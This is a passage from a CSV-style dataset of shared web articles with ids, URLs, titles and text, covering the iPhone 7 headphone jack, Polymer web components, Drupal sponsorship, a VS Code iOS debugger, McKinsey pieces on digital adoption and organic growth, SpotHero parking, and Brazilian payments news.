will elicit gas faces in some, Apple's AirPods have a pretty compelling wireless audio story. And space freed up by the now abandoned audio jack enabled significant improvements in the iPhone's cameras and batteries. And while critics will inevitably argue that iPhone 7 breaks with Apple's pattern of significant updates on even-numbered years, perhaps all the rejiggering of the device's innards is setting the stage for something else. 2017 marks the 10th anniversary of the iPhone, and some Apple kremlinologists believe the company could have some bigger changes in the pipeline. In the meantime, Apple just has to navigate this headphone port transition. ""Remember, we've been through this many times before,"" says Schiller. ""We got rid of parallel ports, the serial bus, floppy drives, physical keyboards on phones - do you miss the physical keyboards on your phone? ... At some point - some point soon, I think - we're all going to look back at the furor over the headphone jack and wonder what the big deal was.""",en
1473332858,CONTENT SHARED,-8913397556833789413,-1578287561410088674,7562215937341926181,,,,HTML,https://tylergarlick.com/falling-for-web-components-a96d0ff51b31?gi=4b71766edbcc,Falling for Web Components,"This is what I was looking for, the HTML abstraction that got out of the way. Behind the scenes it loaded JS, HTML, CSS so I could focus on the task at hand. Composing new reusable components was easy. No weird directive syntax like Angular. Plus, she played nice with everyone.... on the hotness scale she is that unicorn. When you start building components the CLI generates a HTML page that allows you to visualize your API, a demo page, and testing baked right in. Wow! I could share my element with the world and it would do a lot of that hard lifting for me. At first, I was tempted to bring Angular along with me because my new Polymer friend didn't seem to provide things like routing, controllers, etc. it was then I realized I didn't need to because you could use existing frameworks or a web component that did that for you. I almost cried as I looked at Polymer in the eyes, your my soulmate. Just like a normal relationship we got out of the honeymoon stage and the community that was also in love with Polymer worked hard to release 1.0, but then seemed disinterested in her. I was forced to start looking elsewhere because I was superficial and wanted validation from my friends that my new love was the hot sexy one that I knew she was. I started dating other frameworks like React . Don't get me wrong they were nice, but Polymer just seemed to get me. I also thought more like she did. I missed her.",en
1473339018,CONTENT SHARED,-5198756378866433953,3891637997717104548,-6421902622809842048,,,,HTML,http://buytaert.net/who-sponsors-drupal-development,Who sponsors Drupal development? | Dries Buytaert,"Drupal.org's credit system captures all the issue activity on Drupal.org. This is primarily code contributions, but also includes some (but not all) of the work on design, translations, documentation, etc. It is important to note that contributing in the issues on Drupal.org is not the only way to contribute.",en
1473349809,CONTENT SHARED,6001127456099879458,6967147874415599925,-5855860422042476765,,,,HTML,https://www.infoq.com/news/2016/08/visual-studio-code-ios-debug,Visual Studio Code Now Supports Debugging of iOS Web Apps,"A new extension for Visual Studio Code aims to allow developers to debug JavaScript web apps and sites running on iOS devices directly from their editor both on Mac and Windows, writes Microsoft program manager for JavaScript Diagnostics Kenneth Auchenberg . Debugging iOS web apps used to require access to a Mac to run Safari Web Inspector, Auchenberg explains, or to use a specific cross-browser compatibility checkers such as BrowserStack . The new Visual Studio Code ""Debugger for iOS Web"" extension leverages vscode-chrome-debug-core , an open-source library that Microsoft developed to power their Visual Studio Code Chrome debugger, and uses two additional libraries to enable communication with an iOS device over USB, ios-webkit-debug-proxy and ios-webkit-debug-proxy-win32 . Communication with iOS devices complies with the WebKit Remote Debugging Protocol , which is compatible with the Chrome Debugger Protocol for the script debugging API, which means that Microsoft debugger for Chrome can work almost unmodified. The Visual Studio Code extension can either launch a URL in Safari on the device, or it can attach to a tab inside of Safari, depending on the configuration specified in the .vscode/launch.json file in your project root. To make it easier for the device to access the local development server, usually an HTTP server running on localhost, Microsoft decided to use localtunnel to emulate port forwarding, which is not natively supported by Apple. Localtunnel can proxy all requests to a local web server through a unique, publicly accessible URL, so you can share a local web service running on your development machine without modifying your DNS and firewall settings. This is a list of features that Debugger for iOS Web supports: Setting breakpoints Stepping through code execution Stack traces Debugging eval scripts, script tags, and scripts that are added dynamically Watches Console Visual Studio Code Debugger for iOS Web extension is available on the Visual Studio Code Marketplace ,",en
1473362135,CONTENT SHARED,3273084325487543386,1895326251577378793,2056789939285718066,,,,HTML,http://www.mckinsey.com/business-functions/digital-mckinsey/our-insights/the-surprising-truth-about-which-countries-lead-in-digital,The surprising truth about which countries lead in digital,"While European and US companies are at different stages of their digital maturity across sectors, they can each take specific steps to increase digital market share. Here's how it's done. Which country leads the world in digital? Many might be tempted to answer that the US does, but the answer actually depends on what aspect of ""digital"" you're looking at. When it comes to Internet penetration, the US has much higher rates than in the EU, 88 percent compared with 71 percent. But dig a little deeper and the picture changes. Where Europe has the edge When it comes to customer preferences for digital channels, Europe is way ahead. Recent McKinsey research examined the digital customer experience in the mobile telecom sector and found that European customers are more open to digital services than their US counterparts. Almost half of them would be happy to manage their relationships with providers entirely through digital channels, for instance, compared with fewer than a third of customers in the US. In both sales and customer care, levels of awareness and usage of self-serve digital channels (such as mobile apps) and live digital channels (such as web chat) are already markedly higher in Europe than in the US (exhibit). Similarly, European banking customers are more likely than Americans to prefer digital to physical channels. Another recent McKinsey survey found that 58 percent of Western Europeans (and a hefty 85 percent of Northern Europeans) prefer digital to branch-based transactions, as against only 52 percent of US customers. That's despite the fact that digital banking has higher penetration in the US (at 73 percent) than in Western Europe (60 percent). The European digital edge seems to extend to other categories too: 24 percent of car-insurance sales take place online in Europe, for instance, compared with 17 percent in the US; similarly, for personal loans, the shares are 27 percent and 16 percent respectively. Customers in Europe are much more likely to use digital channels than stores or call centers, whether they are adopting a new service, reporting technical problems, querying bills, or making admin changes, whereas US customers still prefer to use stores, and to a lesser extent call centers, for some of these needs. What's more, European customers are more satisfied with ""digital only"" experiences than with wholly traditional ones, which is not true of their US counterparts. However, common ground emerged when we asked users of traditional channels what was deterring them from using digital services. Telecom customers in both regions expressed a preference for speaking to someone in person, though this sentiment was more marked in the US (three times higher than the second preferred option) than in the EU (twice as high). Why the difference? Consumers tend to adjust their expectations to the offer they receive, and in industries where companies have heavily invested in digital-such as retail, with Amazon-Europe and the US both show strong penetration. In the telecom market, the differences in the pace of digital adoption can be explained by four structural differences in the markets: 1. Fragmentation, competition, and cost pressure. Europe has a more fragmented market than the US, with many smaller players, including mobile-virtual-network operators (MVNOs), engaging in fierce competition on price and costs. As price levels were forced down, telecom providers used digital channels to find savings. On the other side of the Atlantic, US companies operating on a greater scale were able to spread their fixed costs over a bigger base and did not feel the same pressure to reduce their operating costs. 2. Innovative business models. New entrants in Europe such as Free, Congstar, and GiffGaff have sought to use distinctive digital elements in their business models as a way to pull ahead of the pack. In turn, traditional operators in the EU have been forced to adjust their customer- service models and make more use of digital channels. 3. The US emphasis on physical presence. Traditional US telecom operators have focused on developing their store networks and personal service, training their customers to go to stores to buy handsets and get service. This makes it harder for them to push digital channels and handle the resulting channel conflicts. Nevertheless, omnichannel customer behavior-shifting seamlessly from one channel to another-is slightly more common in the US than in Europe: 48 percent of American customers looking for mobiles do their research online and then purchase from a store, for instance, compared with 43 percent of Europeans. 4. Dependence on physical presence for upselling and cross-selling in the US. US companies generate significant revenue from traditional channels (stores and call centers) and so are reluctant to introduce digital-only customer journeys. Overall, the more competitive environment in European markets has produced a stronger digital offer for consumers, who are in turn more comfortable using mobile and online channels for most of their needs. Consumers lead the way Despite the current differences between US and EU consumers and markets, we believe that the digital development trajectory for each is likely to be much the same in the medium to long term, which means that lessons from one region can be applied to another when market forces are similar. In the telecom industry, both EU and US companies can strengthen their position by learning from pure or more mature digital players. Almost half of European telecom customers, for example, are open to interacting with them purely by digital means, yet few are able to do so. By extending and enhancing their digital offers in e-sales and e-care, these companies could reap significant rewards in lower costs and increased customer loyalty across all segments. For US telecom companies, success will come from tailoring offers more to customer segments. For low-value segments, the prize lies in reducing cost to serve, cutting prices, and migrating customers to the cheapest channel for most journeys, i.e. digital. For millennials, moving quickly with an attractive digital offering could help telecom companies capture market share from competitors, or at least not lose it. For other segments, ensuring a seamless customer journey between channels is the key to balancing the tradeoff between omnichannel behaviors, expectations of personal interactions, and the cost advantages of digital channels. Overcoming obstacles to digital customer care Read the article Four steps to start winning digital consumers In developing a distinctive digital offering, companies at almost any stage of their digital journey will find it helpful to think about four key steps: 1. Discover: shaping their digital ambition, strategy, and business case. To discover what customers really want, smart companies will segment their customer base not only by value but also by behaviors and needs across channels, thus creating a set of ""personas"" to which they then tailor the digital experience and customer journey. For instance, a company can ask a few questions about a particular customer's needs before selecting which products to show them on its website. Someone looking for the latest cool product might see the three most-discussed models on social media, say, while a decisive customer in a hurry to buy might see the three products best geared to their immediate needs and price sensitivity. 2. Design: crafting a holistic digital and omnichannel approach. Customers should be able to switch between online and offline touchpoints easily and experience perfectly coordinated and rewarding multichannel journeys, such as click and collect. This is particularly important in the US, where customers prefer physical channels and personal interactions and are less open to using digital-only channels. Another helpful strategy is to embed improved live digital channels (online forums, web chat, social media) into digital self-serve channels (websites, apps, automated text messaging, virtual online agents). The option to speak to someone live if needed will overcome what customers see as the biggest barrier to using digital channels. Since most customer-care requests begin online, companies that offer customers a simple way to contact them through a digital channel will minimize the friction of changing channels, while both boosting customer satisfaction and keeping operating costs low. 3. Deliver: creating a system to rapidly deliver at scale. The key to encouraging customers to use digital channels is to adopt highly differentiated migration tactics. The best companies deliver personalized and consistent messages and offers, tailored to different customer segments at different times, as part of a campaign. Many of these offers can be sent automatically when triggered by a specific event. As an example, a customer who has just purchased a new product could be sent a link to an FAQ session on how to install it. Campaigns can also vary the messages they use according to the behaviors of different customers. For example, a company wanting to increase usage of an app might offer the same discount on the monthly subscription fee to a customer for downloading the app and using it once in the first month, and to a customer who has already downloaded the app for using it more than once every month. 4. ""De-risk"": structure the program to reduce operational and financial risks. Undertaking a digital transition consumes a great deal of time, energy, and resources, and any failure can have a devastating effect. To minimize these risks, leaders develop clear and consistent governance and communications, a well-designed road map for transformation, and new incentive structures and performance metrics to facilitate cross-functional cooperation and promote a culture of flexibility and innovation. Cutting costs early can deliver quick wins and fund future changes. While there are telling differences in consumers' adoption of digital channels in the US and EU, it's clear that consumer companies everywhere will need to optimize their digital and omnichannel presence. How quickly-and profitably-they do so will depend on competitive intensity, the presence of digital attackers in their particular market, and the readiness of customer segments to change their purchasing behavior. About the author(s) Jorge Amar is an associate partner in McKinsey's Stamford office, Raffaella Bianchi is a senior expert in the Milan office, and Daniel Svoboda is a partner in the Prague office. The authors would like to thank Katrin Bastian, Roberto Bresciani, and Marc Thibaut de Maisieres for their contributions to this article.",en
1473363959,CONTENT SHARED,-4126288159365354498,2416280733544962613,-3676747064969884657,,,,HTML,http://www.mckinsey.com/business-functions/marketing-and-sales/our-insights/now-new-next-how-growth-champions-create-new-value,NOW NEW NEXT: How growth champions create new value,"To generate new organic growth for both the short and long term, businesses need to explore three horizons for action. How do companies such as LEGO, Chobani, Beats, Diageo, and Dollar Shave Club significantly outgrow their competition, and what can consumer companies learn from them? Today, consumer-facing companies find themselves in a challenging predicament. They are investing billions of dollars in marketing and innovation to win the favor of consumers-but to seemingly little effect on market share. In fact, according to McKinsey & Company research, only 7 percent of corporate growth is driven by market-share gains, with the rest being driven by ""where to play"" choices: M&A and portfolio momentum. In the race to shift their momentum, many companies never quite catch up with the market, which remains a step ahead, while headwinds in their core categories hold them back. Nevertheless, there are clearly exceptions, organic ""growth champions"" that create their own momentum and win the race. High-growth companies have a clear growth agenda, and they follow through on it. These companies can unlock hundreds of millions of dollars in new growth. Improving organic growth rates begins with a shift from focusing on costs to focusing on cost and growth. In our experience, organic growth leaders exhibit at least one (though often a combination) of three profiles: The Investor has a clear understanding of where growth is with existing products and services and doubles down on the winners. This is often the fastest, simplest, and most effective way to grow. In retail, for example, this could mean investing in offers that increase profitable foot traffic; in direct-to-consumer businesses, it could mean increasing advertising in a successful channel. ƒƒ The Creator builds value through new products or services. Creators work at the frontiers of change to identify the white spaces-in emerging customer needs, unserved segments, or adjacent markets. They harness advanced analytics and digital to disrupt markets, not just improve existing models. The Performer constantly optimizes core commercial capabilities in sales, marketing, pricing, and customer experience. We have found that these archetypes provide a simple but effective model for business leaders to examine their commercial growth opportunities. They also provide a simple and useful way to structure business-unit growth programs. In practice, changing a company's commercial growth trajectory often requires some combination of the three, but successful companies master at least one. For this article, we will explore how Creator companies construct a winning portfolio of growth initiatives (Exhibit 1). Three horizons of action for creating new growth There are three horizons of action that the Creator archetype can take to capture growth. NOW initiatives find growth through new niches within categories, segments, and markets. NEW actions focus on developing new products and services. NEXT initiatives capture organic growth from new business models (Exhibit 2). While the time it will take for these actions to bear fruit will vary, it's important to emphasize that business leaders shouldn't address these items sequentially. One of the biggest mistakes we see is companies postponing planning for NEXT as they continue thinking about NOW, or investing too little time thinking about NOW because they're obsessing about the NEW. In conducting research for this article, we analyzed hundreds of consumer companies and brands and interviewed dozens of current and former chief marketing officers (CMOs). The 40 or so ""growth champions"" we identified were, on the surface, very different. They ranged from LEGO (a company that has been making plastic toy bricks for nearly 70 years) to Chobani and Beats (relatively new entrants in the food and headphones spaces) to Diageo (which reshaped the whiskey category behind its Johnnie Walker brand) and Dollar Shave Club (a true ""disruptor"" in its category). When you dig deeper, however, you notice a number of things that unify these companies. Above all, they are companies in which the marketing organization has stepped up and taken ownership for growth. ""As a CMO, dedicate half of your time to growth. CMOs who are successful focus on growth ideas, not on marketing communication plans,"" says Andy Fennell, former CMO of Diageo. We also found that ""growth champions"" tend to exhibit the following characteristics: They take a structured approach to creating and managing their portfolio of growth initiatives. ""You have to be systematic when going after revenue growth. The creation of a common framework is extremely useful,"" says Alexis Nasard, former CMO and president for Western Europe of Heineken. Structured growth planning is also a great opportunity for CMOs to break out of the confines of marketing communication and bring consumer insights to bear on strategy. ƒƒ They use advanced analytics and agile insights techniques to spot opportunities. They don't expect to come up with market-beating ideas by looking at the same data in the same way as their competitors do. They unleash the power of advanced analytics on highly granular consumer data to develop distinctive insights, and they mobilize their organizations to act on them quickly. As Unilever CMO Keith Weed, put it: ""Sustainable growth is consumer-demand-led growth."" ƒƒ They mobilize for quick results, beating competitors to the market. A common complaint is that many marketing organizations are too slow, taking up to two years to bring a simple consumer product to market or a year to launch a new campaign. In today's marketplace, the emphasis is on speed-to-market and on rapid test, learn, and optimize. Many of our growth champions have adapted tech-company techniques, e.g., hackathons and rapid prototyping, to learn fast and drive results quickly. The three horizons differ in the nature of their growth opportunities, the insights that underpin them, and the capabilities required to deliver. A balanced portfolio, however, will contain initiatives across each of the NOW-NEW-NEXT horizons, and all initiatives should be informed by strong insights and a bias for action. NOW-Growth from new niches NOW initiatives focus on new ways to generate growth quickly. This could mean selling an existing product in a new channel or market, launching a product variant, rejuvenating a core product by infusing it with new meaning, or opening up micromarkets. NOW initiatives have a high likelihood of impact, often require relatively little effort, and take a rather short time to implement. They represent a company's ""bread-and-butter business,"" as one CMO described it. However, NOW initiatives shouldn't be taken for granted. Many companies still have a lot of potential to grow by exploiting overlooked segments, channels, or categories. The insights that power NOW initiatives often come from existing market research, product data, or straightforward surveys. In NOW, it is especially important to increase the metabolic rate of the organization and optimize for speed. Sometimes, even the most successful companies underestimate the growth potential of their core business and tend to lose focus. Take LEGO, the Danish toymaker. In 2003, sales fell off a cliff. The company had ventured into many-perhaps too many-new categories in parallel: children's clothes, accessories, and lifestyle products. As CEO Jørgen Vig Knudstorp put it, ""We went into three new categories per year, when we should have gone into one every three years."" LEGO subsequently refocused its business on being a ""small giant"" in the subcategory of toy-construction kits. ""What we realized is that the more we're true to ourselves, the better we are,"" Knudstorp said in summing up the brand's growth philosophy. With success, LEGO grew from revenue of €0.9 billion in 2004 to €4.8 billion in 2015. We have observed two distinct growth plays that are particularly powerful in helping companies realize the full potential of NOW opportunities: granularity and category ownership. Take a granular perspective Moving beyond averages and taking a more fine-grained view of the opportunity-by geography, consumer segment, or product category-can allow companies to find growth that others have missed. Looking at things through a geographic lens, McKinsey research indicates that 600 global cities will drive more than 60 percent of GDP growth by 2025, and in many categories, growth is much more concentrated in these cities than in the broader country or region. Understanding which cities will matter most to future performance and investing in them will likely drive better results than focusing on whole countries or regions. Diageo used a local lens to identify ten cities in Brazil that were promising markets. A successful small-scale marketing program in these cities encouraged the business to roll out an ambitious £100 million plan more broadly. In 2009-13, global sales increased by more than 30 percent, making Johnnie Walker the leading international spirits brand by retail sales value. Similar thinking can be applied to consumer segments. Microsegments trump mass demographic and attitudinal segments-at global scale, even niche markets become attractive. Consider the case of Lululemon, a Canadian company that built up a billion-dollar business in a few years by focusing on an underserved microsegment-yoga gear for affluent, educated women-that the big sportswear companies had overlooked. Technology makes it easier and cheaper than ever before to manufacture and distribute niche products. For example, Nike and Adidas plan to put 3-D printers in stores that will allow customers to design one-off shoes that will be ready in 15 minutes. Diageo uses containers to build mobile factories in emerging markets that cost just $2.5 million, compared to $15 to 20 million for a conventional factory. We urge those who think niche segments are not attractive to think again. Own category development Successful brands take responsibility for changing growth trajectories in their core categories, often by tapping a new niche. They don't simply fight for share or assume that category trajectories are predestined, as did many brewers that focused their efforts on new markets, assuming that growth prospects for beer in mature markets would, at best, stay flat. It was left to craft and microbrewers to rejuvenate the category, attracting new consumers at a much higher price point. Category development requires taking a new look at the category you're in and approaching it as a challenger. It's no surprise that many of the companies that have succeeded have been new entrants. One example is Chobani, which took just seven years to develop Greek yogurt from a niche product into a billion-dollar business and become the category leader. When Chobani launched in the US, Greek yogurt was a tiny category found mainly in gourmet shops and organic sections of high-end food stores. Founder and CEO Hamdi Ulukaya sought to attract a much wider audience and position Greek yogurt as an everyday snack. This included displaying the product in the main dairy section, not with specialty foods. The company continued to develop the category both through geographic expansion (yogurt was mainly consumed in the northeastern US) and by targeting new consumer segments (such as infants and Hispanics) and specific consumption occasions (such as evening indulgence) with new varieties and marketing activities. Today, first-person action cameras are heavily associated with the brand GoPro. But actually, these products have existed since the 1960s, mainly targeting professional athletes and Hollywood studios. In 2004, GoPro launched its first camera, an analog waterproof photo camera that cost about $3 to produce, and targeted surfers. The business grew steadily but remained very small in subsequent years. It wasn't until 2010 that GoPro started really developing the category from a niche into a mass market. The main success factor was not the technology, but rather GoPro's focus on new consumer segments, using clever, content-based marketing to target one microsegment after another. While the company only sells six different cameras, its content and marketing activities address 27 different segments based on activities and interests-from snowboarding and rock climbing to pets and family. The company's revenue has increased 20-fold in just four years, from $64 million in 2010 to $1.4 billion in 2014. Today, GoPro dominates the US market for portable cameras, not just action cameras. NEW-Growth from new products and services NEW initiatives take something that works and use it as the basis for innovation, i.e. launch a new product, expand a brand into a new category, or address new segments. Because NEW initiatives venture beyond existing business, analyzing the market as it is won't be enough. Identifying unmet needs and spotting NEW opportunities require being close to consumers and customers. Examples of effective techniques include social listening, sentiment analysis, digital ethnography, and online consumer cocreation. For example, discussions in an online beauty forum inspired Nivea to develop a no-stain deodorant, the company's most successful product launch in ten years. Unilever engaged in consumer cocreation for its TRESSemmé dry shampoo line, also one of this company's most successful launches. In our work with clients, we observe two particularly impactful growth plays companies employ to become NEW champions: expanding category definitions and acting on emerging trends. Expand category definitions To broaden their understanding of where to play, leading marketers explore all the competing options that consumers can choose from when they decide what to buy. There exists a real risk that companies will tend to define their market in a way that flatters their own brand (in terms of market share and equity) and not look at the broader competitive set or at opportunities outside their frame of reference. Agile insights When Procter & Gamble launched Olay Total Effects, it effectively created a new category: ""mass premium"" skin care. With much higher price tags ($20, compared to a $6 average charged for other Olay products) and aggressive efficacy claims (""Fight the seven signs of aging""), Total Effects went head-to-head with department-store brands (previously excluded from P&G's market-share calculations). Gina Drosos, who led the effort at the time (she's currently president of Assurex Health), said, ""The thing that made us feel comfortable was getting close to the consumer and understanding what she wanted."" The company conducted thousands of interviews with skin-care users and discovered that women around the world expressed the desire for a product that wouldn't fight just one or two signs of aging, but all of them. In price-elasticity tests, researchers were surprised to find that Total Effects was forecast to achieve higher volumes at higher prices because of the prestige and the self-rewarding effect that comes with a high price ticket. Retailers and competitors were skeptical, but it worked. By 2003, Olay had become a billion-dollar brand. Act on emerging needs ""A good hockey player plays where the puck is-a great hockey player plays where the puck is going to be,"" Canadian hockey hero Wayne Gretzky once said. To build better products and create competitive differentiation, companies need to know consumer needs before they are even articulated. They also need the courage to act when they detect an emerging need. As Diageo CMO Syl Saller put it, ""An obsession with consumers better equips companies for change. Consumer insight must inform how, when, and where a brand embraces new ideas in the pursuit of growth."" Take headphones, for example. Until recently, headphones was a dormant market dominated by a handful of long-established brands. Most consumers simply used the loose, in-ear headphones that came with their MP3 player or phone, most of them white or black. Seven years ago, along came an attacker to change all that. Beats Electronics now holds an astonishing 64 percent share of the US market for headphones priced at $100 and above. Beats took a granular perspective, targeting a small but influential segment of young, urban, style-conscious consumers. Targeting these trendsetters, Beats designed a product that addressed two of their needs: superior sound quality and self-expression. Beats positioned its product, produced by musician Dr. Dre, with the promise to ""hear the music the way the artist wanted you to hear it"" and offered the 11 different available colors as statements of personality and self-expression. Today, its products are visible in almost every gym, street, and workplace. What sales executives need to get right for digital success Read the article NEXT-Growth from new business models NEXT initiatives try out new business models, explore disruptive ideas, and create things from scratch. Often they take a lot of time and energy and have highly uncertain outcomes. But if they work, they can have huge impact. Disruptors, such as Uber, AirBnB, and Netflix, are leading the way in this respect. The lesson for incumbent consumer-goods players? Disrupt your own industry before others do it for you, even if that means you see some initiatives fail. In fact, more and more consumer-products giants are experimenting with new additive or disruptive business models, such as subscription-based direct-to-consumer approaches or mass customized products using technologies such as 3-D printing. Some companies are setting up dedicated teams to explore NEXT initiatives. LEGO has tasked its Future Lab with inventing the ""future of play."" Staffed with 50 of LEGO's top employees, the lab works with lead consumers and upcoming start-ups to identify new target groups, new markets, new technologies, and new business models. It works like a start-up, developing a minimum of viable products that it launches in small quantities, iterates, and scales when they prove successful. Since Future Lab is an entity run separately from the parent organization and even has its own small manufacturing facility, it can experiment with radical ideas without the limitations of working within the day-to-day business environment. Similarly, Diageo has set up a Futures Team that is charged with identifying and creating disruptive growth. Companies don't need to have a large team or an impressive innovation hub in Silicon Valley to start with NEXT initiatives. Even two junior employees with open minds can make a big difference. If their ideas seem promising, the company should go ahead and increase funds and resources. While NEXT initiatives tend to take a little longer to get to market, the aim should not (only) be to secure growth in the years ahead. The aim can be on a smaller scale at first-to go to market in 6 to 12 months, even if only in three cities and with improvised operations. The idea should be to start small, iterate, and scale quickly. To grow in NEXT, companies have two plays available: developing additional income streams through additive business models and disrupting the existing business (Exhibit 3). Explore new revenue streams New business models can add to the existing business by, for instance, offering new services with a current product or tapping into new sales channels to reach different customers. These new business models don't always have to be radically innovative in order to deliver high returns. Starbucks is constantly adding new revenue streams to its retail business, for example, by selling ready-to-drink and packaged coffee in grocery stores and delivering packaged coffee to the home for a monthly fee. However, the masterpiece must be the prepaid cards that Starbucks launched a few years ago. Of course, these cards provide customers with a convenient payment method, lead to more store visits among card owners, and allow the brand to tap into the gift-giving market. But also interesting is the fact that payment fees to credit companies are (relatively speaking) more than 50 percent lower for a $25 prepaid card than for a $3 coffee. Plus, although there are no expiration dates on the cards, Starbucks communicated in its 2015 annual report that it had made a profit of $110 million in the preceding three years from unredeemed cards. Moreover, with total card-value liability of about $1 billion, the cards could lead to nice interest capture when rates increase again. While the upside of this example seems very compelling, a recent McKinsey survey found that just 27 percent of companies are systematically scanning for new opportunities outside of their core business. Embrace disruption Whereas the previous growth play is about adding new revenue streams to the existing business, disruption is about attacking and cannibalizing it. For example, Coca-Cola has teamed up with coffee specialist Keurig Green Mountain to launch a machine that allows people to make their own cola at home. Heineken has done much the same with Sub, a draught-lager machine for domestic use that it is selling directly to consumers. Companies that think their category is disruption-proof should consider what's happened in other seemingly stable fields. For decades, consumer-goods companies all over the world admired Gillette's business model. But it didn't protect Gillette from attackers. Only three years old, razor-blade home-delivery service Dollar Shave Club is already enjoying sales equivalent to 10 percent of Gillette's US market share. The start-up hit revenue of about $140 million in 2015, more than twice its previous year's sales. As Unilever CMO Keith Weed put it: ""Disrupt or be disrupted. That may sound strange coming from a global company operating across 190 markets. But embracing disruption is critical to creating change. As marketers, we need to become better at experimenting, taking risks, accepting the occasional failure, and learning quickly along the way."" While prognostications on the future and market research will lead to imperfect visions of the future, leading companies still consider how major consumer, economic, or technological trends could affect a given category. They think about how an attacker with new models could disrupt their industry, and they team up with entrepreneurs, start-ups, and innovators from other industries to challenge established ways of doing business. Five sets of questions companies can ask themselves to get started Companies should not take NOW NEW NEXT as an invitation to spend the next half year looking for growth opportunities. The aim should be action. Accordingly, marketers can start right away on Monday morning by answering these five sets of key questions: How balanced is our portfolio? If we take our portfolio of growth and innovation initiatives and plot them against NOW NEW NEXT, how balanced does the distribution look? Do we have a perspective on which of the six ""growth plays"" would be successful in our business? Who is thinking about disruption? Are we as systematic in NEXT as we are in NOW? Is anyone tasked with disrupting our core business-or are we leaving it up to competitors? What are we doing to explore additive business models? Are we limiting our horizons? In exploring NEW opportunities, do we impose limiting mind-sets on how we define consumers, our category, or the addressable channels? Do we use advantaged insights? Do we rely on the same data and insights as our competitors-or do we have a source of distinctiveness? Are we agile enough? Have we been able to accelerate our time-to-consumer and time-to-market? Or are we still stuck with cumbersome and slow innovation processes? Organic growth is a top priority for business executives today. Armed with a clear organic-growth agenda and sufficient resources for those initiatives, businesses can generate growth for both the short and long term. About the author(s) Jonathan Gordon is a partner in McKinsey's New York office, Nils Liedtke is a consultant in McKinsey's Brussels office, and Björn Timelin is a partner in McKinsey's London office.",en
1473366314,CONTENT SHARED,6247175512001835023,6571439471025671820,-1230761563473523867,,,,HTML,https://techcrunch.com/2016/09/08/spothero-is-ready-for-the-future-of-autonomous-parking/,SpotHero is ready for the future of autonomous parking,"SpotHero is not new to the on-demand parking game. It raised $2.5 million in 2012, and another $20 million in series B funding in 2015. This for a service that allows drivers to prepay for a parking space in a garage via app before the car ever leaves the driveway. ""You can reserve a spot for three hours or three days,"" said SpotHero co-founder and CEO Mark Lawrence, ""and you can make the reservation for right this minute or in two weeks."" You just scan your phone when you enter the garage and scan it again when you leave. You know where you're parking and how much you're going to pay - no driving around and no surprises. While this is all very convenient today, Lawrence has his sights set on the future of driving, or not driving, as the case may be. Right now, the human interfaces with the phone, which interfaces with the online garage. In the future, the car will take the place of the human to connect with SpotHero, which connects with the garage to reserve and pay for the space. ""It could be an algorithm that says, 'I need this autonomous pod or car to be stored for x amount of time,' and it will run some calculations,"" Lawrence said in our phone interview. ""The algorithm will check to see if it can park farther for cheaper, and take traffic into account."" The challenge, today and tomorrow, is that the garages have to be online for this to work, whether it's a human or a car that wants to connect. ""Parking facilities have to be online or they're invisible,"" Lawrence said. ""They're not going to be able to capture the largest share unless they're visible. Let's get these facilities online and make them available for ecommerce."" SpotHero has a sales and marketing team tasked with increasing parking companies' awareness of this source of revenue. The team takes a rising tide lifts all boats approach: ""We say, 'Here are all the interfaces out there; it's not just SpotHero,'"" Lawrence said. The team has to educate the parking companies on the tools available and the scanning and redemption technology required for future-proofing their businesses. ""Otherwise, how are they going to communicate with consumers right now and also with cars that drive themselves in the future?"" We dove into the futuristic idea of electric autonomous pods during our conversation, which Lawrence acknowledged is an ""angelic view."" Electric cars are more efficient than gasoline, but much of the grid in the United States is still powered by coal, and ""there needs to be macro changes before EVs on a grand scale are possible,"" he said. ""But even when the energy issue is solved, parking isn't going to go away. Cities don't want empty vehicles just roaming around."" He's predicting those futuristic vehicles will need to park themselves when not in use, and SpotHero will be ready to make the connection. Featured Image: Kristen Hall-Geisler",en
1473367211,CONTENT SHARED,-635870441391555852,-1602833675167376798,7862567624329364293,,,,HTML,https://pagamento.me/pago-e-nova-aposta-da-nexxera/,Pago é a nova aposta da Nexxera.,"A Nexxera , fundada há 23 anos, é um dos maiores nomes em transações financeiras do país. Funcionando como uma holding, o grupo que foi fundado em 1992, impulsiona diversos negócios em pagamentos. Agora, a holding prepara o avanço da sua última empreitada: o sub-adquirente Pago . Com foco em soluções POS (m-POS, e POS tradicional), a empresa espera atingir cerca de R$25 milhões de reais em transações até Setembro desse ano. No ar há quase um ano, a Pago pretende atingir rapidamente 5.000 maquinetas POS no varejo. Os números atuais são animadores: 750 maquinetas, transacionando cerca de R$5 milhões de reais por mês. O novo negócio também já nasce com parcerias fortes de distribuição como a Caixa e o Banco do Nordeste. Sem contar as próprias bandeiras Visa e Mastercard. O grande foco da Pago é atender pequenos lojistas que têm dificuldade em acessar boas soluções e taxas competitivas. A ideia é atender com uma proposta tecnológica descomplicada em com serviços de valor. O grupo Nexxera investiu cerca de R$1,5 milhões na Pago, que está com a sede em Alphaville, com 30 colaboradores. Além da Pago, o grupo também detém as iniciativas: Nexxpago , Myreks , Yupee e a própria Nexxera, que é um dos gateways de serviços mais usados no país.",pt
1473375962,CONTENT SHARED,-6526049170878205106,3217014177234377440,1596176832844564803,,,,HTML,http://www.meioemensagem.com.br/home/ultimas-noticias/2016/09/08/bradesco-aposta-em-nfc-para-saques.html,Bradesco oferece saques com tecnologia de aproximação - Meio & Mensagem,"A partir desta semana, clientes Bradesco podem realizar saques utilizando a tecnologia NFC. É necessário que o usuário cadastre os seus dados no aplicativo do banco e aproxime o celular da máquina de autoatendimento. Porém, a transação só é concluída após a validação biométrica e a confirmação da senha de seis dígitos do cartão de débito. O Bradesco promete conveniência, agilidade e seguranças nas transações bancárias. ""A transmissão de dados por aproximação, ou NFC, é uma realidade da Era Digital. No caso do saque em ATMs, usamos esse avanço para tornar mais rápida e simples a transação"", diz Luca Cavalcanti, diretor de Canais Digitais do Bradesco, em comunicado à imprensa. O saque via NFC já está disponível em smartphones Android a partir da versão 4.4 e dispensa a conexão com a internet. Comente ""Meio & Mensagem informa que não modera e tampouco apaga comentários, seja no site ou nos perfis de redes sociais. No site, quando o usuário ler a indicação Este comentário foi apagado' significa que o próprio comentarista deletou o comentário postado. Não faz parte da política de M&M gerenciar comentários, seja para interagir, moderar ou apagar eventuais postagens do leitor. Exceções serão aplicadas a comentários que contenham palavrões e ofensas pessoais. O conteúdo de cada comentário é de única e exclusiva responsabilidade civil e penal do cadastrado.""",pt
